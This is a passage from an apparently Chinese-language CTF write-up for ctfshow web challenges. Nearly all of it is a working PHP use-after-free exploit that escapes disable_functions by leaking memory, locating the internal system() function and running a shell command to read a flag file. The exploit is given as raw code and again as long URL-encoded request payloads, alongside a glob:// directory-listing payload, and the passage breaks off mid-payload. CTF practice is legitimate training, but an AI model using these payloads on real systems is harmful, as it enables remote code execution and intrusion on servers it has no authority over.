8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");ob_end_flush();
?>
通過(guò)url編碼
payload
c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E
?web73
繼續(xù)用偽協(xié)議讀取
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
發(fā)現(xiàn)相比 72修改了名字
看看讀取
c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)